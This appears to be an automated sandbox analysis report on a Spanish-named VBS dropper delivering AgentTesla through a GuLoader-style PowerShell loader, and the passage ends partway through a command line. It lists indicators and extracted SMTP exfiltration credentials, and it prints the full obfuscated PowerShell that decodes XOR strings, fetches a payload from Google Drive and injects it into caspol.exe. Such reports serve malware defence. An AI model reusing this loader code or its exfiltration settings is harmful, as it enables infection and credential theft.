Analysis
-
max time kernel
103s -
max time network
107s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
08-02-2023 18:41
Static task
static1
Behavioral task
behavioral1
Sample
justificante de transferencia.vbs
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
justificante de transferencia.vbs
Resource
win10v2004-20220901-en
General
-
Target
justificante de transferencia.vbs
-
Size
124KB
-
MD5
2c5add519c94bcfa2e7c1064ceb64736
-
SHA1
af99c8f0fb30a9a4fac437aa427ef44e41b535f9
-
SHA256
b916b37fcc5b1f5a77f6ff3c36904e9f20cdea77266acbe3566f3459d8c1f1d0
-
SHA512
7fd3feb9ebf3ddd7c21f2223324ff3ead68e34a799d2f2f21309a489abf4f59220880279cf77fba88322cb1d9ec6ef218c4febb6071695a7d809e4ea4e682913
-
SSDEEP
3072:FrDq3Cj8LqEN9cy7jPLWCuHoq0lgmfaZXAR:1Dw/m09cyXYH/0lLQO
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=1-7fE16kK-_VjGlyxUiZ77Miud4_JlSTH
Extracted
agenttesla
Protocol: smtp- Host:
mail.heladospalacio.com - Port:
587 - Username:
[email protected] - Password:
Drs4x0!6 - Email To:
[email protected]
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 3 IoCs
Processes:
WScript.exepowershell.exeflow pid process 2 2004 WScript.exe 6 1064 powershell.exe 8 1064 powershell.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
Processes:
caspol.exepowershell.exedescription ioc process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe caspol.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe Key opened \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe Key opened \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 19 api.ipify.org 20 api.ipify.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
caspol.exepid process 2036 caspol.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.execaspol.exepid process 1064 powershell.exe 2036 caspol.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1064 set thread context of 2036 1064 powershell.exe caspol.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
WScript.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 1080 powershell.exe 1064 powershell.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
powershell.exepid process 1064 powershell.exe 1064 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.execaspol.exedescription pid process Token: SeDebugPrivilege 1080 powershell.exe Token: SeDebugPrivilege 1064 powershell.exe Token: SeDebugPrivilege 2036 caspol.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 2004 wrote to memory of 1956 2004 WScript.exe cmd.exe PID 2004 wrote to memory of 1956 2004 WScript.exe cmd.exe PID 2004 wrote to memory of 1956 2004 WScript.exe cmd.exe PID 2004 wrote to memory of 1516 2004 WScript.exe cmd.exe PID 2004 wrote to memory of 1516 2004 WScript.exe cmd.exe PID 2004 wrote to memory of 1516 2004 WScript.exe cmd.exe PID 2004 wrote to memory of 1080 2004 WScript.exe powershell.exe PID 2004 wrote to memory of 1080 2004 WScript.exe powershell.exe PID 2004 wrote to memory of 1080 2004 WScript.exe powershell.exe PID 1080 wrote to memory of 1064 1080 powershell.exe powershell.exe PID 1080 wrote to memory of 1064 1080 powershell.exe powershell.exe PID 1080 wrote to memory of 1064 1080 powershell.exe powershell.exe PID 1080 wrote to memory of 1064 1080 powershell.exe powershell.exe PID 1064 wrote to memory of 2012 1064 powershell.exe caspol.exe PID 1064 wrote to memory of 2012 1064 powershell.exe caspol.exe PID 1064 wrote to memory of 2012 1064 powershell.exe caspol.exe PID 1064 wrote to memory of 2012 1064 powershell.exe caspol.exe PID 1064 wrote to memory of 2036 1064 powershell.exe caspol.exe PID 1064 wrote to memory of 2036 1064 powershell.exe caspol.exe PID 1064 wrote to memory of 2036 1064 powershell.exe caspol.exe PID 1064 wrote to memory of 2036 1064 powershell.exe caspol.exe PID 1064 wrote to memory of 2036 1064 powershell.exe caspol.exe -
outlook_office_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe -
outlook_win_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-999675638-2867687379-27515722-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\justificante de transferencia.vbs"1⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\System32\cmd.execmd /c echo off2⤵PID:1956
-
C:\Windows\System32\cmd.execmd /c echo rshell2⤵PID:1516
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$stillsud = """Function Obli11 { param([String]`$Broo); `$Grnsund = ''; Write-Host `$Grnsund; Write-Host `$Grnsund; Write-Host `$Grnsund; `$Unconduc = New-Object byte[] (`$Broo.Length / 2); For(`$rubigi=0; `$rubigi -lt `$Broo.Length; `$rubigi+=2){ `$Unconduc[`$rubigi/2] = [convert]::ToByte(`$Broo.Substring(`$rubigi, 2), 16); `$Endysist = (`$Unconduc[`$rubigi/2] -bxor 241); `$Unconduc[`$rubigi/2] = `$Endysist; } [String][System.Text.Encoding]::ASCII.GetString(`$Unconduc);}`$Bandlyses0=Obli11 'A2888285949CDF959D9D';`$Bandlyses1=Obli11 'BC9892839E829E9785DFA6989FC2C3DFA49F82909794BF9085988794BC9485999E9582';`$Bandlyses2=Obli11 'B69485A1839E92B0959583948282';`$Bandlyses3=Obli11 'A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497';`$Bandlyses4=Obli11 '828583989F96';`$Bandlyses5=Obli11 'B69485BC9E95849D94B9909F959D94';`$Bandlyses6=Obli11 'A3A5A281949298909DBF909C94DDD1B9989594B388A29896DDD1A184939D9892';`$Bandlyses7=Obli11 'A3849F85989C94DDD1BC909F90969495';`$Bandlyses8=Obli11 'A394979D9492859495B5949D9496908594';`$Bandlyses9=Obli11 'B89FBC949C9E8388BC9E95849D94';`$Presuffer0=Obli11 'BC88B5949D9496908594A5888194';`$Presuffer1=Obli11 'B29D908282DDD1A184939D9892DDD1A294909D9495DDD1B09F8298B29D908282DDD1B084859EB29D908282';`$Presuffer2=Obli11 'B89F879E9A94';`$Presuffer3=Obli11 'A184939D9892DDD1B9989594B388A29896DDD1BF9486A29D9E85DDD1A798838584909D';`$Presuffer4=Obli11 'A798838584909DB09D9D9E92';`$Presuffer5=Obli11 '9F85959D9D';`$Presuffer6=Obli11 'BF85A1839E85949285A798838584909DBC949C9E8388';`$Presuffer7=Obli11 'B8B4A9';`$Presuffer8=Obli11 'AD';`$papa=Obli11 'A4A2B4A3C2C3';`$Prodigalis=Obli11 'B2909D9DA6989F959E86A1839E92B0';function fkp {Param (`$Destabili, `$Skrifts) ;`$Gastrosc0 =Obli11 'D5BC9092839E929D989C90D1CCD1D9AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB69485B08282949C939D989482D9D8D18DD1A699948394DCBE939B949285D18AD1D5AEDFB69D9E93909DB08282949C939D88B290929994D1DCB09F95D1D5AEDFBD9E929085989E9FDFA2819D9885D9D5A18394828497979483C9D8AADCC0ACDFB48084909D82D9D5B3909F959D88829482C1D8D18CD8DFB69485A5888194D9D5B3909F959D88829482C0D8';.(`$Presuffer7) `$Gastrosc0;`$Gastrosc5 = Obli11 'D5A9949F9E828290D1CCD1D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C3DDD1AAA5888194AAACACD1B1D9D5B3909F959D88829482C2DDD1D5B3909F959D88829482C5D8D8';.(`$Presuffer7) `$Gastrosc5;`$Gastrosc1 = Obli11 '83948584839FD1D5A9949F9E828290DFB89F879E9A94D9D59F849D9DDDD1B1D9AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497ACD9BF9486DCBE939B949285D1A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497D9D9BF9486DCBE939B949285D1B89F85A18583D8DDD1D9D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C4D8D8DFB89F879E9A94D9D59F849D9DDDD1B1D9D5B59482859093989D98D8D8D8D8DDD1D5A29A8398978582D8D8';.(`$Presuffer7) `$Gastrosc1;}function GDT {Param ([Parameter(Position = 0, Mandatory = `$True)] [Type[]] `$Indish,[Parameter(Position = 1)] [Type] `$konk = [Void]);`$Gastrosc2 = Obli11 'D5B3848385889E879483D1CCD1AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB59497989F94B5889F909C9892B08282949C939D88D9D9BF9486DCBE939B949285D1A2888285949CDFA394979D949285989E9FDFB08282949C939D88BF909C94D9D5B3909F959D88829482C9D8D8DDD1AAA2888285949CDFA394979D949285989E9FDFB49C9885DFB08282949C939D88B384989D959483B09292948282ACCBCBA3849FD8DFB59497989F94B5889F909C9892BC9E95849D94D9D5B3909F959D88829482C8DDD1D597909D8294D8DFB59497989F94A5888194D9D5A18394828497979483C1DDD1D5A18394828497979483C0DDD1AAA2888285949CDFBC849D859892908285B5949D9496908594ACD8';.(`$Presuffer7) `$Gastrosc2;`$Gastrosc3 = Obli11 'D5B3848385889E879483DFB59497989F94B29E9F8285838492859E83D9D5B3909F959D88829482C7DDD1AAA2888285949CDFA394979D949285989E9FDFB2909D9D989F96B29E9F87949F85989E9F82ACCBCBA285909F95908395DDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.(`$Presuffer7) `$Gastrosc3;`$Gastrosc4 = Obli11 'D5B3848385889E879483DFB59497989F94BC9485999E95D9D5A18394828497979483C3DDD1D5A18394828497979483C2DDD1D59A9E9F9ADDD1D5B89F95988299D8DFA29485B89C819D949C949F859085989E9FB79D909682D9D5B3909F959D88829482C6D8';.(`$Presuffer7) `$Gastrosc4;`$Gastrosc5 = Obli11 '83948584839FD1D5B3848385889E879483DFB28394908594A5888194D9D8';.(`$Presuffer7) `$Gastrosc5 ;}`$Paleoant = Obli11 '9A94839F949DC2C3';`$Obli03 = Obli11 'B69485B29E9F829E9D94A6989F959E86';`$Obli00=Obli11 'A2999E86A6989F959E86';`$Obli01 = Obli11 'D5B79E8385909694839984D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5BE939D98C1C1D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Obli01;`$Obli02 = Obli11 'D5BC9E9587968590D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5BE939D98C1C2D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Obli02;`$Gastrosc7 = Obli11 'D5B583879D948382D1CCD1D5BC9E9587968590DFB89F879E9A94D9C1D8';.(`$Presuffer7) `$Gastrosc7;`$Gastrosc7 = Obli11 'D5B79E8385909694839984DFB89F879E9A94D9D5B583879D948382DDD1C1D8';.(`$Presuffer7) `$Gastrosc7;`$Gastrosc6 = Obli11 'D5BE9C938495829C909FD1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D5A1909D949E909F85D1D5A18394828497979483C5D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACDDD1AAA4B89F85C2C3ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Gastrosc6;`$Depr = fkp `$Presuffer5 `$Presuffer6;`$Gastrosc7 = Obli11 'D59D9485859495C2D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C5C7DDD1C189C2C1C1C1DDD1C189C5C1D8';.(`$Presuffer7) `$Gastrosc7;`$Gastrosc8 = Obli11 'D5B583909F9A9483D1CCD1D5BE9C938495829C909FDFB89F879E9A94D9AAB89F85A18583ACCBCBAB94839EDDD1C7C0C5C5C9C0C8C3DDD1C189C2C1C1C1DDD1C189C5D8';.(`$Presuffer7) `$Gastrosc8;`$Obli01 = 'https://drive.google.com/uc?export=download&id=1-7fE16kK-_VjGlyxUiZ77Miud4_JlSTH';`$Obli00 = Obli11 'D5B084839E9288909FD1CCD1D9BF9486DCBE939B949285D1BF9485DFA69493B29D98949F85D8DFB59E869F9D9E9095A28583989F96D9D5BE939D98C1C0D8';`$Gastrosc8 = Obli11 'D59D9485859495C3CCD5949F87CB90818195908590';.(`$Presuffer7) `$Gastrosc8;`$letted2=`$letted2+'\Forblo.dat';`$Aurocyan='';if (-not(Test-Path `$letted2)) {while (`$Aurocyan -eq '') {.(`$Presuffer7) `$Obli00;Start-Sleep 5;}Set-Content `$letted2 `$Aurocyan;}`$Aurocyan = Get-Content `$letted2;`$Gastrosc9 = Obli11 'D5B6908285839E8292D1CCD1AAA2888285949CDFB29E9F87948385ACCBCBB7839E9CB3908294C7C5A28583989F96D9D5B084839E9288909FD8';.(`$Presuffer7) `$Gastrosc9;`$Aurocyan0 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C1DDD1D1D59D9485859495C2DDD1C7C5C7D8';.(`$Presuffer7) `$Aurocyan0;`$Unerrantly132=`$Gastrosc.count-646;`$Aurocyan1 = Obli11 'AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB29E8188D9D5B6908285839E8292DDD1C7C5C7DDD1D5B583909F9A9483DDD1D5A49F948383909F859D88C0C2C3D8';.(`$Presuffer7) `$Aurocyan1;`$Aurocyan2 = Obli11 'D5A194928584C8C2D1CCD1AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFBC90838299909DACCBCBB69485B5949D9496908594B79E83B7849F9285989E9FA19E989F859483D9D9979A81D1D581908190D1D5A1839E959896909D9882D8DDD1D9B6B5A5D1B1D9AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACDDD1AAB89F85A18583ACD8D1D9AAB89F85A18583ACD8D8D8';.(`$Presuffer7) `$Aurocyan2;`$Aurocyan3 = Obli11 'D5A194928584C8C2DFB89F879E9A94D9D59D9485859495C2DDD5B583909F9A9483DDD5B5948183DDC1DDC1D8';.(`$Presuffer7) `$Aurocyan3#;""";Function Aurocyan9 { param([String]$Broo); For($rubigi=0; $rubigi -lt $Broo.Length-1; $rubigi+=(0+1)){$Obli = $Obli + $Broo.Substring($rubigi, 1)}; $Obli;}$Masturbat1250 = Aurocyan9 'IEX ';$Masturbat1251= Aurocyan9 $stillsud;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Masturbat1251 ;}else{.$Masturbat1250 $Masturbat1251;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1080 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Obli11 { param([String]$Broo); $Grnsund = ''; Write-Host $Grnsund; Write-Host $Grnsund; Write-Host $Grnsund; $Unconduc = New-Object byte[] ($Broo.Length / 2); For($rubigi=0; $rubigi -lt $Broo.Length; $rubigi+=2){ $Unconduc[$rubigi/2] = [convert]::ToByte($Broo.Substring($rubigi, 2), 16); $Endysist = ($Unconduc[$rubigi/2] -bxor 241); $Unconduc[$rubigi/2] = $Endysist; } [String][System.Text.Encoding]::ASCII.GetString($Unconduc);}$Bandlyses0=Obli11 'A2888285949CDF959D9D';$Bandlyses1=Obli11 'BC9892839E829E9785DFA6989FC2C3DFA49F82909794BF9085988794BC9485999E9582';$Bandlyses2=Obli11 'B69485A1839E92B0959583948282';$Bandlyses3=Obli11 'A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497';$Bandlyses4=Obli11 '828583989F96';$Bandlyses5=Obli11 'B69485BC9E95849D94B9909F959D94';$Bandlyses6=Obli11 'A3A5A281949298909DBF909C94DDD1B9989594B388A29896DDD1A184939D9892';$Bandlyses7=Obli11 'A3849F85989C94DDD1BC909F90969495';$Bandlyses8=Obli11 'A394979D9492859495B5949D9496908594';$Bandlyses9=Obli11 'B89FBC949C9E8388BC9E95849D94';$Presuffer0=Obli11 'BC88B5949D9496908594A5888194';$Presuffer1=Obli11 'B29D908282DDD1A184939D9892DDD1A294909D9495DDD1B09F8298B29D908282DDD1B084859EB29D908282';$Presuffer2=Obli11 'B89F879E9A94';$Presuffer3=Obli11 'A184939D9892DDD1B9989594B388A29896DDD1BF9486A29D9E85DDD1A798838584909D';$Presuffer4=Obli11 'A798838584909DB09D9D9E92';$Presuffer5=Obli11 '9F85959D9D';$Presuffer6=Obli11 'BF85A1839E85949285A798838584909DBC949C9E8388';$Presuffer7=Obli11 'B8B4A9';$Presuffer8=Obli11 'AD';$papa=Obli11 'A4A2B4A3C2C3';$Prodigalis=Obli11 'B2909D9DA6989F959E86A1839E92B0';function fkp {Param ($Destabili, $Skrifts) ;$Gastrosc0 =Obli11 'D5BC9092839E929D989C90D1CCD1D9AAB08181B59E9C90989FACCBCBB2848383949F85B59E9C90989FDFB69485B08282949C939D989482D9D8D18DD1A699948394DCBE939B949285D18AD1D5AEDFB69D9E93909DB08282949C939D88B290929994D1DCB09F95D1D5AEDFBD9E929085989E9FDFA2819D9885D9D5A18394828497979483C9D8AADCC0ACDFB48084909D82D9D5B3909F959D88829482C1D8D18CD8DFB69485A5888194D9D5B3909F959D88829482C0D8';.($Presuffer7) $Gastrosc0;$Gastrosc5 = Obli11 'D5A9949F9E828290D1CCD1D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C3DDD1AAA5888194AAACACD1B1D9D5B3909F959D88829482C2DDD1D5B3909F959D88829482C5D8D8';.($Presuffer7) $Gastrosc5;$Gastrosc1 = Obli11 '83948584839FD1D5A9949F9E828290DFB89F879E9A94D9D59F849D9DDDD1B1D9AAA2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497ACD9BF9486DCBE939B949285D1A2888285949CDFA3849F85989C94DFB89F8594839E81A294838798929482DFB9909F959D94A39497D9D9BF9486DCBE939B949285D1B89F85A18583D8DDD1D9D5BC9092839E929D989C90DFB69485BC9485999E95D9D5B3909F959D88829482C4D8D8DFB89F879E9A94D9D59F849D9DDDD1B1D9D5B59482859093989D98D8D8D8D8DDD1D5A29A8398978582D8D8';.($Presuffer7) $Gastrosc1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Indish,[Parameter(Position = 1)] [Type] $konk = [Void]);$Gastrosc2 = Obli11 